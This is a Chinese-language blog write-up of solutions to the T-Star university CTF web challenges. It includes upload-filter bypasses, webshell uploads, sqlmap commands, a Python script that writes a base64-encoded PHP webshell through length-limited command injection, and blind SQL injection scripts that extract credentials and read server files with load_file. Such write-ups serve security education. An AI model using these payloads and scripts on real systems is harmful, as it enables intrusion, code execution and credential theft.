T-Star高校挑战赛WP

本文最后更新于 2020.07.03,总计 10280 字 ,阅读本文大概需要 7 ~ 27 分钟
本文已超过 1365天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

目录

1、文件上传js绕过

1.png

入门题,直接修改后缀名绕过前端检测即可

2、命令执行基础

2.png

入门题,直接加管道符连接命令执行即可

3、你能爆破吗

3.png

根据提示,cookie 注入,抓包发现用户名字段被 base64 加密,故直接保存到1.txt

GET /index.php HTTP/1.1
Host: 1d955b93.yunyansec.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: uname=YWRtaW4%3D *
Connection: close

使用 sqlmap 中的 base64 temp 脚本即可进行注入

python2 sqlmap.py -r 1.txt --tamper base64encode.py -D security -T flag -C flag --dump

4.png

4、文件上传

经过测试,存在以下限制:

1、关键内容检测,如:<?eval

2、头文件检测

3、文件大小检测(记得好像要>20kb)

4、后缀名绕过

针对以上的限制,绕过方式如下:

1 --> 双写绕过

2 --> 加上图片头

3 --> 填充垃圾字符内容

4 --> 尝试pHp/phP/phpphp/php3/php4/php5/php7/pht/phtml/phar/phps等,发现个别后缀可以绕过,但是无法解析,最终测试 pht 后缀可以绕过检测并成功解析

综上,如下图

5.png

使用蚁剑连接即可

6.png

5、文件包含GetShell

将a.php压缩成zip文件 然后再改名为a.txt,上传

然后再传入 lfi.php

/lfi.php?phar://files/HaAm0y7gI99YVuRs.txt/a

即可(此处由于当时忘记记录,环境关闭复现不了)

6、成绩单

抓包,保存内容为 2.txt

POST /index.php HTTP/1.1
Host: 7bd5ca8d.yunyansec.com
Content-Length: 4
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://7bd5ca8d.yunyansec.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36
Referer: http://7bd5ca8d.yunyansec.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close

id=1 *

直接扔进 sqlmap 跑即可:

7.png

8.png

7、小猫咪踩灯泡

9.png

直接给了提示,如下图使用 PUT 上传一句话:

10.png

上传成功后,直接访问 abc.jsp,去执行命令即可

8、分析代码获得flag

这题网上有类似的题目,但是脚本需要修改

因为经过测试发现如果使用网上的脚本,生成文件名的顺序会打乱,而且index.php 文件参与其中,我们无法正常的生成1.php 文件,

于是考虑先生成一个j 文件,j 文件中存在命令ls -t >g,最后我们再执行 g 文件,即可达到我们想要的目的

payload.txt

>\>g
>-t\\
>s\ \\
>l\\
ls>j
ls>>j
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh j
sh g

attack.py

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://e52e40fa.yunyansec.com/?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()))
 
#检查是否攻击成功
test = requests.get("http://e52e40fa.yunyansec.com/1.php")
if test.status_code == requests.codes.ok:
    print("[*]Attack success!!!")

11.png

比赛结束后看到了其他师傅更骚气的解法,首先>cat创建一个 cat 文件,然后再使用*%20../*直接读取 key,太骚了

12.png

13.png

这里的原理就是将之前写入的 cat文件当做了执行命令,去执行

*%20../* ----> cat%20../*

9、SQL2

预期解

经过测试发现,对于图片抓包可以看到:

14.png

因此确定此处存在注入

扫描备份文件发现存在wwwroot.zip文件,解压为function.php

<?php
function SQL_DETECT($PictureId){
    $a0=urldecode('%a0');
    $PictureId=str_replace('\d', '', $PictureId);
    $PictureId=str_replace($a0, '', $PictureId);
    $PictureId=str_replace('\/\*.*?\*\/', '', $PictureId);
    if(preg_match('/union|order.*by|and|\dor\d|\|\||sleep|BENCHMARK|substr|ascii|select|mid|right|left|right|substring|substring_index|INSTR|LOCATE/i', $PictureId)){

        $PictureId='1';
        
    }
    return $PictureId;
}
>

发现过滤了很多关键字,且没办法绕过

故想办法用其他函数代替

经过测试发现,过滤了||,但是没有过滤|,故利用|if来猜解数据库名:

http://192.168.159.170/sql/Picture.php?id=0" | if(lpad(database(),1,'')='w',1,null) %23

如果数据库名第一个字符是 w,那么页面应该返回正常页面,如果不是,则返回Picture not found!

如下图:

15.png

16.png

17.png

最终测试出数据库名为:waf

然后猜解存在的字段:

http://192.168.159.170/sql/Picture.php?id=0" | if(ord(password),1,null) %23

如果存在 password 字段,则返回正常页面

18.png

最终得到以下字段:usernamepasswordidpicture

然后继续猜解 username 和password 的字段:

http://192.168.159.170/sql/Picture.php?id=0" | if(lpad(username,1,'')='a',1,null) %23
http://192.168.159.170/sql/Picture.php?id=0" | if(lpad(password,1,'')='5',1,null) %23

综上,脚本如下:

#!/usr/bin/env python
#encoding=utf8

import requests

url = "http://192.168.159.170/sql/"
path = "picture.php?id=0"

arr =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9']

password = ""

# 判断用户名的长度
def found_username_length():
    for i in range(1,15):
        payload_username_length = "\" | if(length(username)='" + str(i) + "',1,null) %23'"
        get_username_url_length = url + path +payload_username_length
        res = requests.get(get_username_url_length)
        if("PNG" in res.text):
            length = i
            return length

# 判断密码的长度
def found_password_length():
    for i in range(1,33):
        payload_password_length = "\" | if(length(password)='" + str(i) + "',1,null) %23'"
        get_password_url_length = url + path + payload_password_length
        res = requests.get(get_password_url_length)
        if("PNG" in res.text):
            length = i
            return length

# 获取用户名
def found_username():
    username = ""
    user_fuzz = ""
    username_length = found_username_length()
    for i in range(1,username_length+1):
        for j in arr:
            user_fuzz = username + j
            #print username
            payload_username = "\" | if(rpad(username," + str(i) + ",'')='" + user_fuzz + "',1,null) %23'"
            get_username_url = url + path + payload_username
            res = requests.get(get_username_url)
            if("PNG" in res.text):
                if (i < username_length+1):
                    username = username + j
                    break
        print "username is fuzzing...Please waiting:" + username[:username_length]
    print "Success! The username is :" + username[:username_length]


# 获取密码
def found_password():
    password = ""
    pass_fuzz = ""
    password_length = found_password_length()
    for i in range(1,password_length+1):
        for j in arr:
            pass_fuzz = password + j
            #print password
            payload_password = "\" | if(rpad(password," + str(i) + ",'')='" + pass_fuzz + "',1,null) %23'"
            get_password_url = url + path + payload_password
            res = requests.get(get_password_url)
            if("PNG" in res.text):
                if (i < password_length+1):
                    password = password + j
                    break
        print "password is fuzzing... Please waiting:" + password[:password_length]
    print "Success! The password is :" + password[:password_length]


if __name__ == '__main__':
    found_username()
    found_password()

跑出来的结果:

19.png

跑出来的结果虽然是20位,打开 somd5 依旧可以解出明文:

20.png

登陆即可获得 flag

21.png

非预期解

前期测试的时候,没想到还能够直接利用ord(password)这样的形式来猜解表名,故在不知道表名的情况下,我们想到了直接使用 load_file 来读文件:

http://192.168.159.170/sql/picture.php?id=1"^if(hex(load_file('/var/www/html/index.php'))<"40",1,0)%23

团队里师傅给的脚本如下:

#!/usr/bin/env python
# encoding=utf8
import requests
import time

url = "http://199e855b.yunyansec.com/"
path = "picture.php?id="
payloadL = '1"^if(hex({sql})>"{data}",1,0)%23'
payloadR = '1"^if(hex({sql})<"{data}",1,0)%23'
# payload = '1"^if(lpad(bin({sql}),1,"")="{data}",1,0)'
def str2hex(i):
 return hex(ord(i))[2:].zfill(2)

def save(text):
 f = open("tmp.txt","w")
 f.write(text)
 f.close()

def runL(sql,data):
 url_tmp = url+path+payloadL
 url_tmp = url_tmp.format(sql=sql,data=data)
 # print(url_tmp)
 res = requests.get(url_tmp)
 if("PNG" not in res.text):
  return True
 return False

def runR(sql,data):
 url_tmp = url+path+payloadR
 url_tmp = url_tmp.format(sql=sql,data=data)
 # print(url_tmp)
 res = requests.get(url_tmp)
 if("PNG" not in res.text):
  return True
 return False

def binary_search(data):
    global sql
    left = 0
    right = 128
    while left <= right:   #循环条件
        mid = (left + right) // 2   #获取中间位置,数字的索引(序列前提是有序的)
        mid_data = hex(mid)[2:].zfill(2)
        if runR(sql,data+mid_data):  #如果查询数字比中间数字小,那就去二分后的左边找,
            right = mid - 1   #来到左边后,需要将右变的边界换为mid-1
        elif runL(sql,data+mid_data):   #如果查询数字比中间数字大,那么去二分后的右边找
            left = mid + 1    #来到右边后,需要将左边的边界换为mid+1
        else:
            return chr(right)  #如果查询数字刚好为中间值,返回该值得索引
    if(right==-1):
     right==0
    return chr(right)  #如果循环结束,左边大于了右边,代表没有找到

sql = "load_file('/var/www/html/login.php')"

data=""
str_data=""
while(1):
 raw_data = binary_search(data)
 str_data = str_data + raw_data
 data += str2hex(raw_data)
 save(data+"\n"+str_data)
 print(str_data)

效果:

22.png

结果读了三个小时读完(因为中间主办方的服务器挂了一次导致从头来过),那时候比赛已经结束了

10、SQL1

群里师傅发的,利用 INTO OUTFILE来写 shell

WechatIMG486.png

「感谢老板送来的软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码打赏

版权属于:

panda | 热爱安全的理想少年

本文链接:

https://www.cnpanda.net/ctf/731.html(转载时请注明本文出处及文章链接)

暂时无法评论哦~

仅有一条评论
  1. GxBSUXKing 访客

    panda师傅NB!!!

    |